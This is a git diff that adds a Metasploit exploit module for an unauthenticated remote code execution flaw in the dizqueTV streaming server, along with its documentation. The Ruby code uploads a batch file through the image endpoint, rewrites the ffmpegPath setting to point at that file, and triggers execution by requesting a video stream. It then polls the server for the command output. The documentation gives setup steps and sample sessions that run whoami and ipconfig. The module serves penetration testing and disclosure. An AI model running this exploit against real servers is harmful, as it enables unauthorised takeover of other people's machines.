diff --git a/documentation/modules/exploit/windows/http/dizquetv_rce.md b/documentation/modules/exploit/windows/http/dizquetv_rce.md new file mode 100644 index 0000000000000..c9d03209f568d --- /dev/null +++ b/documentation/modules/exploit/windows/http/dizquetv_rce.md @@ -0,0 +1,113 @@ +## Vulnerable Application + +This module exploits an unauthenticated remote code execution vulnerability in dizqueTV, +a Node.js-based IPTV streaming server. The vulnerability exists in how dizqueTV handles +the `ffmpegPath` configuration parameter. + +An attacker can: + +1. Upload a malicious batch file via the unauthenticated image upload endpoint +2. Modify the `ffmpegPath` setting to point to the uploaded file +3. Request a video stream or the version API to trigger execution + +The `ffmpegPath` value is passed to Node's `child_process.exec()` and +`child_process.spawn()` without adequate validation, allowing arbitrary +command execution as the Node.js process user. + +dizqueTV stores its settings in NeDB flat files. All API endpoints +(`PUT /api/ffmpeg-settings`, `POST /api/upload/image`) require no authentication +on default installations. + +### Vulnerable Setup + +Install dizqueTV on a Windows system: + +1. Install Node.js v12+ on Windows +2. `npm install -g dizquetv` +3. `dizquetv` (starts on port 8000 by default) +4. No authentication is configured by default + +### Verification Steps + +1. Start msfconsole +2. `use exploit/windows/http/dizquetv_rce` +3. `set RHOSTS ` +4. `set COMMAND whoami` +5. `check` +6. `run` + +## Options + +### COMMAND + +Command to execute on the target. If not set, the module will use the +selected payload's command. On Windows, the command is executed via +`cmd.exe` inside a batch file. + +### CHANNEL + +The channel number to use when triggering the video stream. +Default is 3. If no channel exists, the module may still work via the +`/api/version` trigger which calls `exec()` directly. + +### MAXWAIT + +Maximum seconds to poll for the command output file. Default is 140 +seconds since command execution is asynchronous (the spawned process +continues after the HTTP request completes). + +### POLL_INTERVAL + +Seconds between poll attempts. Default is 6 seconds. + +## Scenarios + +### Windows dizqueTV 1.5.3 + +``` +msf6 > use exploit/windows/http/dizquetv_rce +msf6 exploit(windows/http/dizquetv_rce) > set RHOSTS 192.168.1.100 +RHOSTS => 192.168.1.100 +msf6 exploit(windows/http/dizquetv_rce) > set COMMAND whoami +COMMAND => whoami +msf6 exploit(windows/http/dizquetv_rce) > check +[+] 192.168.1.100:8000 - The target is vulnerable. dizqueTV detected +msf6 exploit(windows/http/dizquetv_rce) > run + +[*] Target: 192.168.1.100:8000 +[*] Uploading payload script... +[+] Script uploaded: b_a1b2c3.bat +[*] Fetching current ffmpeg settings... +[*] Setting ffmpegPath to uploaded script... +[+] ffmpegPath confirmed +[*] Triggering via /video?channel=3... +[*] Polling for output (140s timeout, every 6s)... +[+] Output retrieved @ 18s (12 bytes): +nt authority\network service +``` + +### Windows dizqueTV 1.5.3 with command payload + +``` +msf6 exploit(windows/http/dizquetv_rce) > set payload cmd/windows/generic +msf6 exploit(windows/http/dizquetv_rce) > set COMMAND ipconfig +msf6 exploit(windows/http/dizquetv_rce) > run + +[*] Target: 192.168.1.100:8000 +[*] Uploading payload script... +[+] Script uploaded: b_d4e5f6.bat +[*] Fetching current ffmpeg settings... +[*] Setting ffmpegPath to uploaded script... +[+] ffmpegPath confirmed +[*] Triggering via /video?channel=3... +[*] Polling for output (140s timeout, every 6s)... +[+] Output retrieved @ 24s (312 bytes): + +Windows IP Configuration + +Ethernet adapter Ethernet0: + Connection-specific DNS Suffix . : local + IPv4 Address. . . . . . . . . . . : 192.168.1.100 + Subnet Mask . . . . . . . . . . . : 255.255.255.0 + Default Gateway . . . . . . . . . : 192.168.1.1 +``` \ No newline at end of file diff --git a/modules/exploits/windows/http/dizquetv_rce.rb b/modules/exploits/windows/http/dizquetv_rce.rb new file mode 100644 index 0000000000000..948b82ca5e198 --- /dev/null +++ b/modules/exploits/windows/http/dizquetv_rce.rb @@ -0,0 +1,206 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'dizqueTV Unauthenticated Remote Code Execution', + 'Description' => %q{ + dizqueTV, a Node.js-based IPTV streaming server, is vulnerable to + unauthenticated remote code execution via the ffmpegPath configuration + parameter. On Windows, an attacker can upload a malicious batch script through + the image upload endpoint, modify the ffmpegPath setting to point to the + uploaded file, then trigger execution by requesting a video stream. + + The ffmpegPath value is used by Node's child process APIs without adequate + validation, allowing arbitrary command execution as the Node.js process user. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Muhammad Sulthon Nurbahari', # Metasploit module + 'Ahmed Said Saud Al-Busaidi', # Original PoC (EDB-52079) + ], + 'References' => [ + ['EDB', '52079'], + ], + 'Platform' => 'win', + 'Arch' => [ARCH_CMD], + 'Targets' => [ + ['Windows', {}], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-09-21', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + } + ) + ) + + register_options([ + Opt::RPORT(8000), + OptString.new('COMMAND', [false, 'Command to execute (overrides payload if set)', '']), + OptInt.new('CHANNEL', [true, 'Channel number to trigger stream', 3]), + OptInt.new('MAXWAIT', [true, 'Max seconds to poll for output', 140]), + OptInt.new('POLL_INTERVAL', [true, 'Seconds between poll attempts', 6]), + ]) + end + + def check + res = send_request_cgi('method' => 'GET', 'uri' => '/api/version') + return CheckCode::Unknown('No response from target') unless res + return CheckCode::Safe('Unexpected HTTP code') unless res.code == 200 + + body = res.body.to_s.downcase + if body.include?('dizquetv') || body.include?('"version"') + return CheckCode::Vulnerable('dizqueTV detected') + end + + res2 = send_request_cgi('method' => 'GET', 'uri' => normalize_uri('api', 'channels')) + if res2 && res2.code == 200 + begin + JSON.parse(res2.body) + return CheckCode::Detected('dizqueTV API detected') + rescue JSON::ParserError + end + end + + CheckCode::Safe + end + + def exploit + @cmd = datastore['COMMAND'].empty? ? payload.encoded : datastore['COMMAND'] + @tag = Rex::Text.rand_text_hex(4) + @output_file = "out_#{@tag}.txt" + @script_name = "b_#{Rex::Text.rand_text_hex(6)}.bat" + + print_status("Target: #{rhost}:#{rport}") + + upload_script + set_ffmpeg_path + trigger_execution + retrieve_output + end + + def upload_script + print_status('Uploading payload script...') + + # Execute the command and redirect stdout and stderr beside the batch file. + content = "@echo off\r\n" + content << "(#{@cmd}) > \"%~dp0\\#{@output_file}\" 2>&1\r\n" + + boundary = "----#{Rex::Text.rand_text_alphanumeric(16)}" + body = "--#{boundary}\r\n" + body << "Content-Disposition: form-data; name=\"image\"; filename=\"#{@script_name}\"\r\n" + body << "\r\n#{content}\r\n" + body << "--#{boundary}--\r\n" + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => '/api/upload/image', + 'ctype' => "multipart/form-data; boundary=#{boundary}", + 'data' => body + }) + + fail_with(Failure::UnexpectedReply, "Upload failed (HTTP #{res&.code})") unless res&.code == 200 + print_good("Script uploaded: #{@script_name}") + + register_files_for_cleanup(".dizquetv/images/uploads/#{@script_name}") + register_files_for_cleanup(".dizquetv/images/uploads/#{@output_file}") + end + + def set_ffmpeg_path + print_status('Fetching current ffmpeg settings...') + + res = send_request_cgi('method' => 'GET', 'uri' => '/api/ffmpeg-settings') + fail_with(Failure::UnexpectedReply, 'Cannot fetch ffmpeg settings') unless res&.code == 200 + + begin + settings = JSON.parse(res.body) + rescue JSON::ParserError + fail_with(Failure::UnexpectedReply, 'Invalid JSON from ffmpeg-settings') + end + + # CRITICAL: preserve _id field — PUT silently fails without it + settings['ffmpegPath'] = ".dizquetv/images/uploads/#{@script_name}" + + print_status('Setting ffmpegPath to uploaded script...') + res = send_request_cgi({ + 'method' => 'PUT', + 'uri' => '/api/ffmpeg-settings', + 'ctype' => 'application/json', + 'data' => JSON.generate(settings) + }) + + fail_with(Failure::UnexpectedReply, "Failed to set ffmpegPath (HTTP #{res&.code})") unless res&.code == 200 + + # Verify the change stuck + res2 = send_request_cgi('method' => 'GET', 'uri' => '/api/ffmpeg-settings') + if res2&.code == 200 + updated = JSON.parse(res2.body) rescue {} + if updated['ffmpegPath'] == ".dizquetv/images/uploads/#{@script_name}" + print_good('ffmpegPath confirmed') + else + print_warning('ffmpegPath may not have been saved (lock behavior?)') + end + end + end + + def trigger_execution + channel = datastore['CHANNEL'] + print_status("Triggering via /video?channel=#{channel}...") + + # The stream request spawns ffmpegPath — our script runs instead + send_request_cgi({ + 'method' => 'GET', + 'uri' => "/video?channel=#{channel}" + }, 10) + + # Also hit /api/version as backup trigger (version probe also calls exec()) + send_request_cgi({ 'method' => 'GET', 'uri' => '/api/version' }, 5) + end + + def retrieve_output + maxwait = datastore['MAXWAIT'] + interval = datastore['POLL_INTERVAL'] + max_attempts = maxwait / interval + output_path = "/images/uploads/#{@output_file}" + + print_status("Polling for output (#{maxwait}s timeout, every #{interval}s)...") + + max_attempts.times do |i| + sleep(interval) + + res = send_request_cgi({ 'method' => 'GET', 'uri' => output_path }, 8) + next unless res&.code == 200 + + output = res.body.to_s.strip + next if output.empty? || output.include?('Cannot GET') + + elapsed = (i + 1) * interval + print_good("Output retrieved @ #{elapsed}s (#{output.length} bytes):") + output.each_line { |line| print_line(line.chomp) } + store_loot( + 'dizquetv.command_output', + 'text/plain', + rhost, + output, + @output_file, + 'dizqueTV RCE command output' + ) + return + end + + print_warning("No output retrieved within #{maxwait}s (command may have executed blindly)") + end +end \ No newline at end of file